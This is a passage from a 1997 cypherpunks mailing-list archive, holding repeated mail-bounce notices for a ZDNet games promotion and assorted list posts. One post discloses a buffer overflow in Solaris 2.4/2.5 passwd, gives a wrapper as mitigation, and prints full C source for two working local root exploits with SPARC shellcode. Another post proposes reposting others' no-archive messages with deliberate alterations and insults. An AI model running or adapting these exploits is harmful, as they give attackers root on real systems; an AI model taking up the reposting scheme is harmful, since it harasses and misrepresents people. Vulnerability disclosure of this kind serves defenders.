>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:15 -0800 (PST)
Subject: Failed mail
Message-ID: <aa219882.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id aa219882; Tue, 25 Feb 1997 17:10:22 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:22 -0500
>Message-Id: <22102283445895@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:36 -0800 (PST)
Subject: Failed mail
Message-ID: <ba219883.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ba219883; Tue, 25 Feb 1997 17:10:24 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:24 -0500
>Message-Id: <22102463745896@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:15 -0800 (PST)
Subject: Failed mail
Message-ID: <ga219888.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ga219888; Tue, 25 Feb 1997 17:10:31 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:31 -0500
>Message-Id: <22103117645901@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:36 -0800 (PST)
Subject: Failed mail
Message-ID: <ea219886.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ea219886; Tue, 25 Feb 1997 17:10:28 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:28 -0500
>Message-Id: <22102857245899@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:36 -0800 (PST)
Subject: Failed mail
Message-ID: <fa219887.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id fa219887; Tue, 25 Feb 1997 17:10:29 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:29 -0500
>Message-Id: <22102990445900@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:06:01 -0800 (PST)
Subject: Failed mail
Message-ID: <da219885.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id da219885; Tue, 25 Feb 1997 17:10:27 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:27 -0500
>Message-Id: <22102719045898@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:55 -0800 (PST)
Subject: Failed mail
Message-ID: <ca219884.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ca219884; Tue, 25 Feb 1997 17:10:25 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:25 -0500
>Message-Id: <22102589945897@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Tue, 25 Feb 1997 07:22:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Big Security Hole in Solaris 2.X (X)passwd + exploit
Message-ID: <Pine.GSO.3.95.970225171251.885C-100000@sundy.cs.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain


Tue Feb 25 14:22 EET 1997 Romania

 " Another letter - another bug "

An Exploit for a Big Big security hole in passwd ( + yppasswd and nispasswd)

Under Solaris 2.X passwd, yppasswd and nispasswd can be overflowed in 
an internal function ( some like sa_chauthtok() ). Using a buffer 
overflow exploit anyone can gain root access (passwd need suid exec bit 
from root). passwd has a second  overflow bug  when it is called with 
'-s' option in an internal strcpy().

I written two exploits one for Solaris 2.4 and one for Solaris 2.5 for 
sa_chauthtok() type function ( passwd LEMON_BUFFER ). It's a little trick 
here - the LEMON_BUFFER is shifted in memory with 1 char after exec so it 
must to shift the LEMON_BUFFER in a reverse direction before exec - 
that's happening only for a special combination of the exec args - 
see my exploits.

A way to prevent the exploit is to rename passwd, nispasswd and yppasswd 
and get out suid-exec bit. After that you have to compile a little 
program ( some like newpass.c ) with name passwd or nispasswd or yppasswd  
like root and  give them suid-exec bit. You have to change the  "hidden_passwd" 
constant with the new name of Xpasswd files.

Cristian Schipor - Computer Science Faculty - Bucharest - Romania

E-mail: skipo@math.pub.ro , skipo@sundy.cs.pub.ro , skipo@ns.ima.ro
Phone: (401) - 410.60.88

---------------------------- file newpass.c -------------------------------
#include <stdio.h>
#include <syslog.h>

#define hidden_passwd "/bin/hpasswd" /*change here ...*/
#define MAX_LENGTH 32

void main(int argc, char *argv[])
{
int i;
char *args[10];
	
	if(argc < 10)
	{
		args[0]=hidden_passwd;
		for(i = 1; i<argc; i++)
		{
			if(strlen(argv[i]) > MAX_LENGTH)
			{
				printf("You reached the maximum length in args\n");
				exit(0);
			}
			else args[i]=argv[i];
		}
		args[i]=(char *)0;
		execv(args[0],args);
	}
	else
	{
		printf("You reached the maximum number of args !\n");
	}
}
 
---------------------------- end newpass.c  -----------------------------------

------------------------------ EXPLOITS ----------------------------------

------------------------------ lemon24.c --------------------------------
/*
Exploit for Solaris 2.4 ( it is a little and subtile different  beetwen this 
exploit and the prog for Solaris 2.5 - the overflow buffer is shifted 
with 1 char ) 
With argv[1] you can modify the stack_offset (+-256).
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      600
#define EXTRA           600
#define STACK_OFFSET    1400
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA + 8];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf ;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", & buf[1],(char *) 0);
  perror("execl failed");
}

-------------------------------- end of lemon24.c  ----------------------------

---------------------------------- lemon25.c  --------------------------------

/*
This is for Solaris 2.5.(1) !
With argv[1] you can modify the stack offset (+-500) if you have troubles
...
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      1100
#define EXTRA           1200
#define STACK_OFFSET    3800
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
;

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", buf,(char *) 0);
  perror("execl failed");
}

----------------------------------- end of lemon25.c  -------------------------


 # End  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 25 Feb 1997 14:56:06 -0800 (PST)
To: Toto <cwood@ucsd.edu>
Subject: Re: take me off this list
In-Reply-To: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu>
Message-ID: <3.0.1.32.19970225175547.007c9c60@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:43 PM 2/25/97 -0800, Toto wrote:

What frigging list is this I got on?

Alec




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anand Abhyankar <anand@querisoft.com>
Date: Tue, 25 Feb 1997 05:47:04 -0800 (PST)
To: bryce@digicash.com
Subject: Re: "cypherpunks is dead..."
In-Reply-To: <199702201544.QAA07860@digicash.com>
Message-ID: <3313A7CF.6F50@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryce wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
>  A million monkeys operating under the pseudonym
>  "Tim May <tcmay@got.net>" typed:
> >
> > (Getting PGP integrated into mailers
> > is stil bogged down, for reasons I have to believe have to do with
> > pressures from somewhere, else why would e-mail packages not make PGP
> > support painless?)
> 
> Because PGP's user interface is yucky and its programmer
> interface is even worse.
> 
> Amazing how people don't realize how much certain important
> things depend on such a (deceptively) simple concept as having
> a nice user interface and a nice programmer interface.  In
> contradiction of certain cypherpunk urban legends, I suspect
> that such pedestrian details are far, far more important to
> the course of history than the clumsy and feckless
> machinations of government agencies.
> 
> But for the good news, see the quote from Jim Bidzos in my
> ".plan".
> 
> Regards,
> 
> Zooko, Journeyman Interface Designer
> 
> NOT speaking for any organizations or persons whose names
> might appear in the headers of this message, or who might
> occasionally toss me some spare change in return for my
> brilliant software design work.
> 
> PGP sig follows

check www.querisoft.com for 'SecureFile'. the attachment here explains
the features of SecureFile.

your comments / suggestions are most welcome.

thanx.
anand....
-- 
                                             \|||/
                                            ( O-O )
 *----------------*-----------*--------.ooo0--(_)-0ooo.----------*
  Anand Abhyankar                                               
  Querisoft Systems Pvt. Ltd.   Email       : anand@querisoft.com 
  810, Sindh Society, Aundh,    Phone (Off) : 91-212-385925       
  Pune - 411 007. INDIA               (Res) : 91-212-351023
                                          .oooO         
                			  (   )   Oooo.
 *----------------*-----------*------------\ (----(   )----------*
                                            \_)    ) /
                                                  (_/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anand Abhyankar <anand@querisoft.com>
Date: Tue, 25 Feb 1997 05:48:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: SecureFile.
Message-ID: <3313A8E9.1EFE@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain

hi cypherpunks,

check out 'SecureFile' at www.querisoft.com

the attachment here briefs the cool features of 'SecureFile'.

thanx.
anand....
-- 
                                             \|||/
                                            ( O-O )
 *----------------*-----------*--------.ooo0--(_)-0ooo.----------*
  Anand Abhyankar                                               
  Querisoft Systems Pvt. Ltd.   Email       : anand@querisoft.com 
  810, Sindh Society, Aundh,    Phone (Off) : 91-212-385925       
  Pune - 411 007. INDIA               (Res) : 91-212-351023
                                          .oooO         
                			  (   )   Oooo.
 *----------------*-----------*------------\ (----(   )----------*
                                            \_)    ) /
                                                  (_/


SecureFile :

*   SecureFile is a cryptographic tool through which you can ensure the  privacy, integrity and authenticity of your documents. 

*   The product -- seamlessly integrated with the Windows 95/Windows NT 4.0 Explorer - commandS a comprehensive Graphical User Interface. So, all you got to do is "click," and ensure your privacy. 

*   SecureFile allows you to store documents in an encrypted form so that no one would make any sense out of them. Whenever you want to read these documents, SecureFile decrypts them for you (and only you). 

*   You can also encrypt documents such that only a select few (identified by you) may be able to decrypt them. 

*   To guarantee the integrity and authenticity of your documents, SecureFile allows you to digitally sign them. Thus, no one will be able to play mischief with your files without getting detected.
Neither shall anyone be able to send you documents forged in someone else's name because SecureFile allows you to verify the signature on any document. 

*   Still, in another sense, you will possess irrefutable proof that you have received certain documents from the one who has signed them. 

SECUREFILE - JUST THE WAY TO RE-DISCOVER YOUR PRIVACY 


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Feb 1997 11:19:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Quadratic residues
Message-ID: <199702251831.TAA29959@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] Maytag's IQ is lower than the belly of a pregnant snake.

    /\
   /..\  Timothy C[reep] Maytag
  /_\/_\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 25 Feb 1997 19:20:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: x-no-archive: yes
In-Reply-To: <3.0.1.32.19970225133510.007ab9c0@aloha.com>
Message-ID: <0coP3D74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr. Jai Maharaj" <jai@aloha.com> writes:

> boursy@earthlink.net (ISP_Ratings) wrote:
> > aga wrote:
> >> Let's all just start reposting any x-no-archive that we see.
> >
> >  Will do--this works better from a shell as there is
> > more information revealed.  It'll drive those in the
> >'privacy' groups nuts though.
>
> I shall do the same.  Is it a good idea to include a line
> such as "Posting the article so that it may be archived."
> either at the top or bottom of the reposts?

An excellent idea!  Also reposting their garbage from bofh.*
to news.* and alt.flame. :-)

I'd suggest:
 1. "Reposting the article so it can be archived" on top;
 2. Slight alterations of the text (introducing spelling errors etc)
 3. A disparaging remark at the bottom ("what a maroon", "get a clue", etc)

This can be done better by a computer program than by a human being...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Feb 1997 20:05:45 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: DES search publicity (was Re: Cryptanalysis)
In-Reply-To: <Pine.LNX.3.95.970220185915.1374A-100000@purple.voicenet.com>
Message-ID: <3313D302.2C53@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
> Last time I checked, deskr06i.zip, which I believe is the correct filename,
> was in

  Lies, lies. The correct URL is:
ftp://ftp.replay.com/pub/replay/pub/incoming/

(unless you are a drug-pushing, child-molesting terrorist, in which 
case I, too, am lying)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 26 Feb 1997 07:28:36 -0800 (PST)
To: Marc Horowitz <marc@cygnus.com>
Subject: Re: Distributed cracks, law, and cryptoanarchy
In-Reply-To: <3310e0fa.5573759@library.airnews.net>
Message-ID: <3.0.1.32.19970226073415.006c23b8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:31 PM 2/24/97 -0500, Marc Horowitz wrote:
>>> The "you must report results only to the crack organizers" rule can be
>>> enforced if it's made into a contract. Even without a formal contract,
>
>I don't want to sign a formal contract.  I want to break the key.  I
>don't care about the money.  I can buy a lottery ticket if I want a
>small chance at winning a lot of money.
>
>I'll participate when I can download something, type make, run it, and
>forget about it.

If this is the case, it seems like it'd be useful to consider what sort of
social/legal/technical environment is most likely to result in "something"
that you can download, make, run, and forget.

Hence, discussion about legal and technical approaches which are likely to
satisfy organizers' desires to control the direction & results of their
projects. A distributed crack needs client software, and a coordinated
distributed crack needs some sort of coordination mechanism. The current
set of rewards available to potential organizers doesn't seem to be
inspiring an outpouring of effort. (No offense is intended to people who
are actually deploying things; the "lack of outpouring" comment refers to
the number of different efforts, not the commitment exhibited by those who
are working now.) 

